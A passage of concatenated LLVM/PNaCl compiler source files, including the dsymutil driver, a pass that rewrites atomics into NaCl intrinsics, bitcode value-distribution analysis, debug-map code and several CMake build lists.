PassInfo *PI = new PassInfo(Name, "hexagon-spill-pred",
&HexagonExpandPredSpillCode::ID,
nullptr, false, false);
Registry.registerPass(*PI, true);
}
void llvm::initializeHexagonExpandPredSpillCodePass(PassRegistry &Registry) {
CALL_ONCE_INITIALIZATION(initializePassOnce)
}
FunctionPass*
llvm::createHexagonExpandPredSpillCode() {
return new HexagonExpandPredSpillCode();
}
<file_sep>/tools/dsymutil/dsymutil.cpp
//===-- dsymutil.cpp - Debug info dumping utility for llvm ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This program is a utility that aims to be a dropin replacement for
// Darwin's dsymutil.
//
//===----------------------------------------------------------------------===//
#include "DebugMap.h"
#include "dsymutil.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/Options.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/TargetSelect.h"
#include <string>
using namespace llvm::dsymutil;
namespace {
using namespace llvm::cl;
static opt<std::string> InputFile(Positional, desc("<input file>"),
init("a.out"));
static opt<std::string> OutputFileOpt("o", desc("Specify the output file."
" default: <input file>.dwarf"),
value_desc("filename"));
static opt<std::string> OsoPrependPath("oso-prepend-path",
desc("Specify a directory to prepend "
"to the paths of object files."),
value_desc("path"));
static opt<bool> Verbose("v", desc("Verbosity level"), init(false));
static opt<bool> NoOutput("no-output", desc("Do the link in memory, but do "
"not emit the result file."),
init(false));
static opt<bool>
ParseOnly("parse-only",
desc("Only parse the debug map, do not actaully link "
"the DWARF."),
init(false));
}
int main(int argc, char **argv) {
llvm::sys::PrintStackTraceOnErrorSignal();
llvm::PrettyStackTraceProgram StackPrinter(argc, argv);
llvm::llvm_shutdown_obj Shutdown;
LinkOptions Options;
llvm::cl::ParseCommandLineOptions(argc, argv, "llvm dsymutil\n");
auto DebugMapPtrOrErr = parseDebugMap(InputFile, OsoPrependPath, Verbose);
Options.Verbose = Verbose;
Options.NoOutput = NoOutput;
llvm::InitializeAllTargetInfos();
llvm::InitializeAllTargetMCs();
llvm::InitializeAllTargets();
llvm::InitializeAllAsmPrinters();
if (auto EC = DebugMapPtrOrErr.getError()) {
llvm::errs() << "error: cannot parse the debug map for \"" << InputFile
<< "\": " << EC.message() << '\n';
return 1;
}
if (Verbose)
(*DebugMapPtrOrErr)->print(llvm::outs());
if (ParseOnly)
return 0;
std::string OutputFile;
if (OutputFileOpt.empty()) {
if (InputFile == "-")
OutputFile = "a.out.dwarf";
else
OutputFile = InputFile + ".dwarf";
} else {
OutputFile = OutputFileOpt;
}
return !linkDwarf(OutputFile, **DebugMapPtrOrErr, Options);
}
<file_sep>/lib/Transforms/MinSFI/CMakeLists.txt
add_llvm_library(LLVMMinSFITransforms
AllocateDataSegment.cpp
ExpandAllocas.cpp
MinSFI.cpp
RenameEntryPoint.cpp
SandboxIndirectCalls.cpp
SandboxMemoryAccesses.cpp
StripTls.cpp
SubstituteUndefs.cpp
Utils.cpp
)
add_dependencies(LLVMMinSFITransforms LLVMNaClTransforms)
<file_sep>/lib/Transforms/NaCl/RewriteAtomics.cpp
//===- RewriteAtomics.cpp - Stabilize instructions used for concurrency ---===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass encodes atomics, volatiles and fences using NaCl intrinsics
// instead of LLVM's regular IR instructions.
//
// All of the above are transformed into one of the
// @llvm.nacl.atomic.* intrinsics.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/Twine.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/InstVisitor.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/NaClAtomicIntrinsics.h"
#include "llvm/Pass.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Compiler.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
#include <climits>
#include <string>
using namespace llvm;
static cl::opt<bool> PNaClMemoryOrderSeqCstOnly(
"pnacl-memory-order-seq-cst-only",
cl::desc("PNaCl should upgrade all atomic memory orders to seq_cst"),
cl::init(false));
namespace {
class RewriteAtomics : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
RewriteAtomics() : ModulePass(ID) {
// This is a module pass because it may have to introduce
// intrinsic declarations into the module and modify a global function.
initializeRewriteAtomicsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
template <class T> std::string ToStr(const T &V) {
std::string S;
raw_string_ostream OS(S);
OS << const_cast<T &>(V);
return OS.str();
}
class AtomicVisitor : public InstVisitor<AtomicVisitor> {
public:
AtomicVisitor(Module &M, Pass &P)
: M(M), C(M.getContext()),
TD(M.getDataLayout()), AI(C),
ModifiedModule(false) {}
~AtomicVisitor() {}
bool modifiedModule() const { return ModifiedModule; }
void visitLoadInst(LoadInst &I);
void visitStoreInst(StoreInst &I);
void visitAtomicCmpXchgInst(AtomicCmpXchgInst &I);
void visitAtomicRMWInst(AtomicRMWInst &I);
void visitFenceInst(FenceInst &I);
private:
Module &M;
LLVMContext &C;
const DataLayout TD;
NaCl::AtomicIntrinsics AI;
bool ModifiedModule;
AtomicVisitor() = delete;
AtomicVisitor(const AtomicVisitor &) = delete;
AtomicVisitor &operator=(const AtomicVisitor &) = delete;
/// Create an integer constant holding a NaCl::MemoryOrder that can be
/// passed as an argument to one of the @llvm.nacl.atomic.*
/// intrinsics. This function may strengthen the ordering initially
/// specified by the instruction \p I for stability purpose.
template <class Instruction>
ConstantInt *freezeMemoryOrder(const Instruction &I, AtomicOrdering O) const;
std::pair<ConstantInt *, ConstantInt *>
freezeMemoryOrder(const AtomicCmpXchgInst &I, AtomicOrdering S,
AtomicOrdering F) const;
/// Sanity-check that instruction \p I which has pointer and value
/// parameters have matching sizes \p BitSize for the type-pointed-to
/// and the value's type \p T.
void checkSizeMatchesType(const Instruction &I, unsigned BitSize,
const Type *T) const;
/// Verify that loads and stores are at least naturally aligned. Use
/// byte alignment because converting to bits could truncate the
/// value.
void checkAlignment(const Instruction &I, unsigned ByteAlignment,
unsigned ByteSize) const;
/// Create a cast before Instruction \p I from \p Src to \p Dst with \p Name.
CastInst *createCast(Instruction &I, Value *Src, Type *Dst, Twine Name) const;
/// Try to find the atomic intrinsic of with its \p ID and \OverloadedType.
/// Report fatal error on failure.
const NaCl::AtomicIntrinsics::AtomicIntrinsic *
findAtomicIntrinsic(const Instruction &I, Intrinsic::ID ID,
Type *OverloadedType) const;
/// Helper function which rewrites a single instruction \p I to a
/// particular \p intrinsic with overloaded type \p OverloadedType,
/// and argument list \p Args. Will perform a bitcast to the proper \p
/// DstType, if different from \p OverloadedType.
void replaceInstructionWithIntrinsicCall(
Instruction &I, const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic,
Type *DstType, Type *OverloadedType, ArrayRef<Value *> Args);
/// Most atomics instructions deal with at least one pointer, this
/// struct automates some of this and has generic sanity checks.
template <class Instruction> struct PointerHelper {
Value *P;
Type *OriginalPET;
Type *PET;
unsigned BitSize;
PointerHelper(const AtomicVisitor &AV, Instruction &I)
: P(I.getPointerOperand()) {
if (I.getPointerAddressSpace() != 0)
report_fatal_error("unhandled pointer address space " +
Twine(I.getPointerAddressSpace()) + " for atomic: " +
ToStr(I));
assert(P->getType()->isPointerTy() && "expected a pointer");
PET = OriginalPET = P->getType()->getPointerElementType();
BitSize = AV.TD.getTypeSizeInBits(OriginalPET);
if (!OriginalPET->isIntegerTy()) {
// The pointer wasn't to an integer type. We define atomics in
// terms of integers, so bitcast the pointer to an integer of
// the proper width.
Type *IntNPtr = Type::getIntNPtrTy(AV.C, BitSize);
P = AV.createCast(I, P, IntNPtr, P->getName() + ".cast");
PET = P->getType()->getPointerElementType();
}
AV.checkSizeMatchesType(I, BitSize, PET);
}
};
};
}
char RewriteAtomics::ID = 0;
INITIALIZE_PASS(RewriteAtomics, "nacl-rewrite-atomics",
"rewrite atomics, volatiles and fences into stable "
"@llvm.nacl.atomics.* intrinsics",
false, false)
bool RewriteAtomics::runOnModule(Module &M) {
AtomicVisitor AV(M, *this);
AV.visit(M);
return AV.modifiedModule();
}
template <class Instruction>
ConstantInt *AtomicVisitor::freezeMemoryOrder(const Instruction &I,
AtomicOrdering O) const {
NaCl::MemoryOrder AO = NaCl::MemoryOrderInvalid;
// TODO Volatile load/store are promoted to sequentially consistent
// for now. We could do something weaker.
if (const LoadInst *L = dyn_cast<LoadInst>(&I)) {
if (L->isVolatile())
AO = NaCl::MemoryOrderSequentiallyConsistent;
} else if (const StoreInst *S = dyn_cast<StoreInst>(&I)) {
if (S->isVolatile())
AO = NaCl::MemoryOrderSequentiallyConsistent;
}
if (AO == NaCl::MemoryOrderInvalid) {
switch (O) {
case NotAtomic: llvm_unreachable("unexpected memory order");
// Monotonic is a strict superset of Unordered. Both can therefore
// map to Relaxed ordering, which is in the C11/C++11 standard.
case Unordered: AO = NaCl::MemoryOrderRelaxed; break;
case Monotonic: AO = NaCl::MemoryOrderRelaxed; break;
// TODO Consume is currently unspecified by LLVM's internal IR.
case Acquire: AO = NaCl::MemoryOrderAcquire; break;
case Release: AO = NaCl::MemoryOrderRelease; break;
case AcquireRelease: AO = NaCl::MemoryOrderAcquireRelease; break;
case SequentiallyConsistent:
AO = NaCl::MemoryOrderSequentiallyConsistent; break;
}
}
// TODO For now only acquire/release/acq_rel/seq_cst are allowed.
if (PNaClMemoryOrderSeqCstOnly || AO == NaCl::MemoryOrderRelaxed)
AO = NaCl::MemoryOrderSequentiallyConsistent;
return ConstantInt::get(Type::getInt32Ty(C), AO);
}
std::pair<ConstantInt *, ConstantInt *>
AtomicVisitor::freezeMemoryOrder(const AtomicCmpXchgInst &I, AtomicOrdering S,
AtomicOrdering F) const {
if (S == Release || (S == AcquireRelease && F != Acquire))
// According to C++11's [atomics.types.operations.req], cmpxchg with release
// success memory ordering must have relaxed failure memory ordering, which
// PNaCl currently disallows. The next-strongest ordering is acq_rel which
// is also an invalid failure ordering, we therefore have to change the
// success ordering to seq_cst, which can then fail as seq_cst.
S = F = SequentiallyConsistent;
if (F == Unordered || F == Monotonic) // Both are treated as relaxed.
F = AtomicCmpXchgInst::getStrongestFailureOrdering(S);
return std::make_pair(freezeMemoryOrder(I, S), freezeMemoryOrder(I, F));
}
void AtomicVisitor::checkSizeMatchesType(const Instruction &I, unsigned BitSize,
const Type *T) const {
Type *IntType = Type::getIntNTy(C, BitSize);
if (IntType && T == IntType)
return;
report_fatal_error("unsupported atomic type " + ToStr(*T) + " of size " +
Twine(BitSize) + " bits in: " + ToStr(I));
}
void AtomicVisitor::checkAlignment(const Instruction &I, unsigned ByteAlignment,
unsigned ByteSize) const {
if (ByteAlignment < ByteSize)
report_fatal_error("atomic load/store must be at least naturally aligned, "
"got " +
Twine(ByteAlignment) + ", bytes expected at least " +
Twine(ByteSize) + " bytes, in: " + ToStr(I));
}
CastInst *AtomicVisitor::createCast(Instruction &I, Value *Src, Type *Dst,
Twine Name) const {
Type *SrcT = Src->getType();
Instruction::CastOps Op = SrcT->isIntegerTy() && Dst->isPointerTy()
? Instruction::IntToPtr
: SrcT->isPointerTy() && Dst->isIntegerTy()
? Instruction::PtrToInt
: Instruction::BitCast;
if (!CastInst::castIsValid(Op, Src, Dst))
report_fatal_error("cannot emit atomic instruction while converting type " +
ToStr(*SrcT) + " to " + ToStr(*Dst) + " for " + Name +
" in " + ToStr(I));
return CastInst::Create(Op, Src, Dst, Name, &I);
}
const NaCl::AtomicIntrinsics::AtomicIntrinsic *
AtomicVisitor::findAtomicIntrinsic(const Instruction &I, Intrinsic::ID ID,
Type *OverloadedType) const {
if (const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
AI.find(ID, OverloadedType))
return Intrinsic;
report_fatal_error("unsupported atomic instruction: " + ToStr(I));
}
void AtomicVisitor::replaceInstructionWithIntrinsicCall(
Instruction &I, const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic,
Type *DstType, Type *OverloadedType, ArrayRef<Value *> Args) {
std::string Name(I.getName());
Function *F = Intrinsic->getDeclaration(&M);
CallInst *Call = CallInst::Create(F, Args, "", &I);
Call->setDebugLoc(I.getDebugLoc());
Instruction *Res = Call;
assert((I.getType()->isStructTy() == isa<AtomicCmpXchgInst>(&I)) &&
"cmpxchg returns a struct, and other instructions don't");
if (auto S = dyn_cast<StructType>(I.getType())) {
assert(S->getNumElements() == 2 &&
"cmpxchg returns a struct with two elements");
assert(S->getElementType(0) == DstType &&
"cmpxchg struct's first member should be the value type");
assert(S->getElementType(1) == Type::getInt1Ty(C) &&
"cmpxchg struct's second member should be the success flag");
// Recreate struct { T value, i1 success } after the call.
auto Success = CmpInst::Create(
Instruction::ICmp, CmpInst::ICMP_EQ, Res,
cast<AtomicCmpXchgInst>(&I)->getCompareOperand(), "success", &I);
Res = InsertValueInst::Create(
InsertValueInst::Create(UndefValue::get(S), Res, 0,
Name + ".insert.value", &I),
Success, 1, Name + ".insert.success", &I);
} else if (!Call->getType()->isVoidTy() && DstType != OverloadedType) {
// The call returns a value which needs to be cast to a non-integer.
Res = createCast(I, Call, DstType, Name + ".cast");
Res->setDebugLoc(I.getDebugLoc());
}
I.replaceAllUsesWith(Res);
I.eraseFromParent();
Call->setName(Name);
ModifiedModule = true;
}
/// %res = load {atomic|volatile} T* %ptr memory_order, align sizeof(T)
/// becomes:
/// %res = call T @llvm.nacl.atomic.load.i<size>(%ptr, memory_order)
void AtomicVisitor::visitLoadInst(LoadInst &I) {
if (I.isSimple())
return;
PointerHelper<LoadInst> PH(*this, I);
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_load, PH.PET);
checkAlignment(I, I.getAlignment(), PH.BitSize / CHAR_BIT);
Value *Args[] = {PH.P, freezeMemoryOrder(I, I.getOrdering())};
replaceInstructionWithIntrinsicCall(I, Intrinsic, PH.OriginalPET, PH.PET,
Args);
}
/// store {atomic|volatile} T %val, T* %ptr memory_order, align sizeof(T)
/// becomes:
/// call void @llvm.nacl.atomic.store.i<size>(%val, %ptr, memory_order)
void AtomicVisitor::visitStoreInst(StoreInst &I) {
if (I.isSimple())
return;
PointerHelper<StoreInst> PH(*this, I);
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_store, PH.PET);
checkAlignment(I, I.getAlignment(), PH.BitSize / CHAR_BIT);
Value *V = I.getValueOperand();
if (!V->getType()->isIntegerTy()) {
// The store isn't of an integer type. We define atomics in terms of
// integers, so bitcast the value to store to an integer of the
// proper width.
CastInst *Cast = createCast(I, V, Type::getIntNTy(C, PH.BitSize),
V->getName() + ".cast");
Cast->setDebugLoc(I.getDebugLoc());
V = Cast;
}
checkSizeMatchesType(I, PH.BitSize, V->getType());
Value *Args[] = {V, PH.P, freezeMemoryOrder(I, I.getOrdering())};
replaceInstructionWithIntrinsicCall(I, Intrinsic, PH.OriginalPET, PH.PET,
Args);
}
/// %res = atomicrmw OP T* %ptr, T %val memory_order
/// becomes:
/// %res = call T @llvm.nacl.atomic.rmw.i<size>(OP, %ptr, %val, memory_order)
void AtomicVisitor::visitAtomicRMWInst(AtomicRMWInst &I) {
NaCl::AtomicRMWOperation Op;
switch (I.getOperation()) {
default: report_fatal_error("unsupported atomicrmw operation: " + ToStr(I));
case AtomicRMWInst::Add: Op = NaCl::AtomicAdd; break;
case AtomicRMWInst::Sub: Op = NaCl::AtomicSub; break;
case AtomicRMWInst::And: Op = NaCl::AtomicAnd; break;
case AtomicRMWInst::Or: Op = NaCl::AtomicOr; break;
case AtomicRMWInst::Xor: Op = NaCl::AtomicXor; break;
case AtomicRMWInst::Xchg: Op = NaCl::AtomicExchange; break;
}
PointerHelper<AtomicRMWInst> PH(*this, I);
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_rmw, PH.PET);
checkSizeMatchesType(I, PH.BitSize, I.getValOperand()->getType());
Value *Args[] = {ConstantInt::get(Type::getInt32Ty(C), Op), PH.P,
I.getValOperand(), freezeMemoryOrder(I, I.getOrdering())};
replaceInstructionWithIntrinsicCall(I, Intrinsic, PH.OriginalPET, PH.PET,
Args);
}
/// %res = cmpxchg [weak] T* %ptr, T %old, T %new, memory_order_success
/// memory_order_failure
/// %val = extractvalue { T, i1 } %res, 0
/// %success = extractvalue { T, i1 } %res, 1
/// becomes:
/// %val = call T @llvm.nacl.atomic.cmpxchg.i<size>(
/// %object, %expected, %desired, memory_order_success,
/// memory_order_failure)
/// %success = icmp eq %old, %val
/// Note: weak is currently dropped if present, the cmpxchg is always strong.
void AtomicVisitor::visitAtomicCmpXchgInst(AtomicCmpXchgInst &I) {
PointerHelper<AtomicCmpXchgInst> PH(*this, I);
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_cmpxchg, PH.PET);
checkSizeMatchesType(I, PH.BitSize, I.getCompareOperand()->getType());
checkSizeMatchesType(I, PH.BitSize, I.getNewValOperand()->getType());
auto Order =
freezeMemoryOrder(I, I.getSuccessOrdering(), I.getFailureOrdering());
Value *Args[] = {PH.P, I.getCompareOperand(), I.getNewValOperand(),
Order.first, Order.second};
replaceInstructionWithIntrinsicCall(I, Intrinsic, PH.OriginalPET, PH.PET,
Args);
}
/// fence memory_order
/// becomes:
/// call void @llvm.nacl.atomic.fence(memory_order)
/// and
/// call void asm sideeffect "", "~{memory}"()
/// fence seq_cst
/// call void asm sideeffect "", "~{memory}"()
/// becomes:
/// call void asm sideeffect "", "~{memory}"()
/// call void @llvm.nacl.atomic.fence.all()
/// call void asm sideeffect "", "~{memory}"()
/// Note that the assembly gets eliminated by the -remove-asm-memory pass.
void AtomicVisitor::visitFenceInst(FenceInst &I) {
Type *T = Type::getInt32Ty(C); // Fences aren't overloaded on type.
BasicBlock::InstListType &IL(I.getParent()->getInstList());
bool isFirst = IL.empty() || &*I.getParent()->getInstList().begin() == &I;
bool isLast = IL.empty() || &*I.getParent()->getInstList().rbegin() == &I;
CallInst *PrevC = isFirst ? 0 : dyn_cast<CallInst>(I.getPrevNode());
CallInst *NextC = isLast ? 0 : dyn_cast<CallInst>(I.getNextNode());
if ((PrevC && PrevC->isInlineAsm() &&
cast<InlineAsm>(PrevC->getCalledValue())->isAsmMemory()) &&
(NextC && NextC->isInlineAsm() &&
cast<InlineAsm>(NextC->getCalledValue())->isAsmMemory()) &&
I.getOrdering() == SequentiallyConsistent) {
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_fence_all, T);
replaceInstructionWithIntrinsicCall(I, Intrinsic, T, T,
ArrayRef<Value *>());
} else {
const NaCl::AtomicIntrinsics::AtomicIntrinsic *Intrinsic =
findAtomicIntrinsic(I, Intrinsic::nacl_atomic_fence, T);
Value *Args[] = {freezeMemoryOrder(I, I.getOrdering())};
replaceInstructionWithIntrinsicCall(I, Intrinsic, T, T, Args);
}
}
ModulePass *llvm::createRewriteAtomicsPass() { return new RewriteAtomics(); }
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeValueDist.cpp
//===-- NaClBitcodeValueDist.cpp ------------------------------------------===//
// Implements (nested) distribution maps to separate out values at each
// index in a bitcode record.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeValueDist.h"
#include "llvm/Support/DataTypes.h"
using namespace llvm;
/// Constant defining cutoff for value distributions. All values less than
/// this constant will be stored as a singleton range.
static NaClBitcodeDistValue ValueDistSingletonCutoff =
(NaClBitcodeDistValue)1 << 6;
/// Largest value possible.
static NaClBitcodeDistValue MaxValue = ~((NaClBitcodeDistValue) 0);
/// Cutoffs for value ranges, starting the first range at
/// ValueDistSingetonCutoff, and ending the last range with MaxValue.
static NaClBitcodeDistValue ValueCutoffs[] = {
(NaClBitcodeDistValue)1 << 8,
(NaClBitcodeDistValue)1 << 12,
(NaClBitcodeDistValue)1 << 16,
(NaClBitcodeDistValue)1 << 24,
(NaClBitcodeDistValue)1 << 32
};
// Converts the value to the corresponding range (value) that will
// be stored in a value distribution map.
NaClValueRangeIndexType
llvm::GetNaClValueRangeIndex(NaClBitcodeDistValue Value) {
if (Value < ValueDistSingletonCutoff)
return Value;
size_t ValueCutoffsSize = array_lengthof(ValueCutoffs);
for (size_t i = 0; i < ValueCutoffsSize; ++i) {
if (Value < ValueCutoffs[i]) {
return ValueDistSingletonCutoff + i;
}
}
return ValueDistSingletonCutoff + ValueCutoffsSize;
}
NaClValueRangeType llvm::GetNaClValueRange(NaClValueRangeIndexType RangeIndex) {
if (RangeIndex < ValueDistSingletonCutoff)
return NaClValueRangeType(RangeIndex, RangeIndex);
size_t Index = RangeIndex - ValueDistSingletonCutoff;
size_t ValueCutoffsSize = array_lengthof(ValueCutoffs);
if (Index >= ValueCutoffsSize)
return NaClValueRangeType(ValueCutoffs[ValueCutoffsSize-1], MaxValue);
else if (Index == 0)
return NaClValueRangeType(ValueDistSingletonCutoff, ValueCutoffs[0]);
else
return NaClValueRangeType(ValueCutoffs[Index-1], ValueCutoffs[Index]-1);
}
NaClBitcodeValueDistElement NaClBitcodeValueDistElement::Sentinel;
NaClBitcodeValueDistElement::~NaClBitcodeValueDistElement() {}
NaClBitcodeDistElement *NaClBitcodeValueDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClBitcodeValueDistElement();
}
double NaClBitcodeValueDistElement::
GetImportance(NaClBitcodeDistValue Value) const {
NaClValueRangeType Pair = GetNaClValueRange(Value);
return GetNumInstances() / static_cast<double>((Pair.second-Pair.first) + 1);
}
const char *NaClBitcodeValueDistElement::GetTitle() const {
return "Values";
}
const char *NaClBitcodeValueDistElement::GetValueHeader() const {
return "Value / Range";
}
void NaClBitcodeValueDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
NaClValueRangeType Range = GetNaClValueRange(Value);
Stream << format("%" PRIu64, Range.first);
if (Range.first != Range.second) {
Stream << " .. " << format("%" PRIu64, Range.second);
}
}
/// Defines the sentinel distribution element of range indices for untracked
/// indices in the bitcode records, which need a clarifying print title.
class NaClBitcodeUntrackedValueDistElement
: public NaClBitcodeValueDistElement {
public:
static NaClBitcodeUntrackedValueDistElement Sentinel;
virtual ~NaClBitcodeUntrackedValueDistElement();
virtual const char *GetTitle() const;
private:
NaClBitcodeUntrackedValueDistElement()
: NaClBitcodeValueDistElement()
{}
};
NaClBitcodeUntrackedValueDistElement
NaClBitcodeUntrackedValueDistElement::Sentinel;
NaClBitcodeUntrackedValueDistElement::~NaClBitcodeUntrackedValueDistElement() {}
const char *NaClBitcodeUntrackedValueDistElement::GetTitle() const {
return "Values for untracked indices";
}
NaClBitcodeValueDist::
NaClBitcodeValueDist(unsigned Index, bool AllRemainingIndices)
: NaClBitcodeDist(RecordStorage,
(AllRemainingIndices
? &NaClBitcodeUntrackedValueDistElement::Sentinel
: &NaClBitcodeValueDistElement::Sentinel),
RD_ValueDist),
Index(Index),
AllRemainingIndices(AllRemainingIndices) {
}
NaClBitcodeValueDist::~NaClBitcodeValueDist() {}
void NaClBitcodeValueDist::GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
if (AllRemainingIndices) {
for (size_t i = Index, i_limit = Values.size(); i < i_limit; ++i) {
ValueList.push_back(GetNaClValueRangeIndex(Values[i]));
}
} else {
ValueList.push_back(GetNaClValueRangeIndex(Values[Index]));
}
}
NaClBitcodeValueIndexDistElement NaClBitcodeValueIndexDistElement::Sentinel;
NaClBitcodeValueIndexDistElement::~NaClBitcodeValueIndexDistElement() {}
NaClBitcodeDistElement *NaClBitcodeValueIndexDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClBitcodeValueIndexDistElement(Value);
}
void NaClBitcodeValueIndexDistElement::
GetValueList(const NaClBitcodeRecord &Record, ValueListType &ValueList) const {
unsigned i_limit = Record.GetValues().size();
if (i_limit > NaClValueIndexCutoff) i_limit = NaClValueIndexCutoff;
for (size_t i = 0; i < i_limit; ++i) {
ValueList.push_back(i);
}
}
double NaClBitcodeValueIndexDistElement::
GetImportance(NaClBitcodeDistValue Value) const {
// Since all indices (usually) have the same number of instances,
// that is a bad measure of importance. Rather, we will base
// importance in terms of the value distribution for the value
// index. We would like the indicies with a few, large instance
// counts, to appear before value indices with a uniform value
// distribution. To do this, we will use the sum of the squares of
// the number of instances for each value (i.e. sort by standard
// deviation).
double Sum = 0.0;
for (NaClBitcodeDist::const_iterator
Iter = ValueDist.begin(), IterEnd = ValueDist.end();
Iter != IterEnd; ++Iter) {
const NaClBitcodeValueDistElement *Elmt =
cast<NaClBitcodeValueDistElement>(Iter->second);
double Count = static_cast<double>(Elmt->GetImportance(Iter->first));
Sum += Count * Count;
}
return Sum;
}
void NaClBitcodeValueIndexDistElement::
AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeDistElement::AddRecord(Record);
ValueDist.AddRecord(Record);
}
const char *NaClBitcodeValueIndexDistElement::GetTitle() const {
return "Value indices";
}
const char *NaClBitcodeValueIndexDistElement::GetValueHeader() const {
return " Index";
}
void NaClBitcodeValueIndexDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream << format("%7u", Value);
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClBitcodeValueIndexDistElement::
GetNestedDistributions() const {
return &NestedDists;
}
<file_sep>/tools/dsymutil/DebugMap.cpp
//===- tools/dsymutil/DebugMap.cpp - Generic debug map representation -----===//
//
// The LLVM Linker
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "DebugMap.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/iterator_range.h"
#include "llvm/Support/DataTypes.h"
#include "llvm/Support/Format.h"
#include "llvm/Support/raw_ostream.h"
#include <algorithm>
namespace llvm {
namespace dsymutil {
using namespace llvm::object;
DebugMapObject::DebugMapObject(StringRef ObjectFilename)
: Filename(ObjectFilename) {}
bool DebugMapObject::addSymbol(StringRef Name, uint64_t ObjectAddress,
uint64_t LinkedAddress, uint32_t Size) {
auto InsertResult = Symbols.insert(
std::make_pair(Name, SymbolMapping(ObjectAddress, LinkedAddress, Size)));
if (InsertResult.second)
AddressToMapping[ObjectAddress] = &*InsertResult.first;
return InsertResult.second;
}
void DebugMapObject::print(raw_ostream &OS) const {
OS << getObjectFilename() << ":\n";
// Sort the symbols in alphabetical order, like llvm-nm (and to get
// deterministic output for testing).
typedef std::pair<StringRef, SymbolMapping> Entry;
std::vector<Entry> Entries;
Entries.reserve(Symbols.getNumItems());
for (const auto &Sym : make_range(Symbols.begin(), Symbols.end()))
Entries.push_back(std::make_pair(Sym.getKey(), Sym.getValue()));
std::sort(
Entries.begin(), Entries.end(),
[](const Entry &LHS, const Entry &RHS) { return LHS.first < RHS.first; });
for (const auto &Sym : Entries) {
OS << format("\t%016" PRIx64 " => %016" PRIx64 "+0x%x\t%s\n",
Sym.second.ObjectAddress, Sym.second.BinaryAddress,
Sym.second.Size, Sym.first.data());
}
OS << '\n';
}
#ifndef NDEBUG
void DebugMapObject::dump() const { print(errs()); }
#endif
DebugMapObject &DebugMap::addDebugMapObject(StringRef ObjectFilePath) {
Objects.emplace_back(new DebugMapObject(ObjectFilePath));
return *Objects.back();
}
const DebugMapObject::DebugMapEntry *
DebugMapObject::lookupSymbol(StringRef SymbolName) const {
StringMap<SymbolMapping>::const_iterator Sym = Symbols.find(SymbolName);
if (Sym == Symbols.end())
return nullptr;
return &*Sym;
}
const DebugMapObject::DebugMapEntry *
DebugMapObject::lookupObjectAddress(uint64_t Address) const {
auto Mapping = AddressToMapping.find(Address);
if (Mapping == AddressToMapping.end())
return nullptr;
return Mapping->getSecond();
}
void DebugMap::print(raw_ostream &OS) const {
OS << "DEBUG MAP: " << BinaryTriple.getTriple()
<< "\n\tobject addr => executable addr\tsymbol name\n";
for (const auto &Obj : objects())
Obj->print(OS);
OS << "END DEBUG MAP\n";
}
#ifndef NDEBUG
void DebugMap::dump() const { print(errs()); }
#endif
}
}
<file_sep>/tools/llvm-dis/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitReader
Core
NaClBitReader # @LOCALMOD
Support
)
add_llvm_tool(llvm-dis
llvm-dis.cpp
)
<file_sep>/tools/llvm-lto/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
${LLVM_TARGETS_TO_BUILD}
LTO
MC
Support
)
add_llvm_tool(llvm-lto
llvm-lto.cpp
)
<file_sep>/lib/Analysis/NaCl/PNaClAllowedIntrinsics.cpp
//===- PNaClAllowedIntrinsics.cpp - Set of allowed intrinsics -------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Defines implementation of class that holds set of allowed intrinsics.
//
// Keep 3 categories of intrinsics for now.
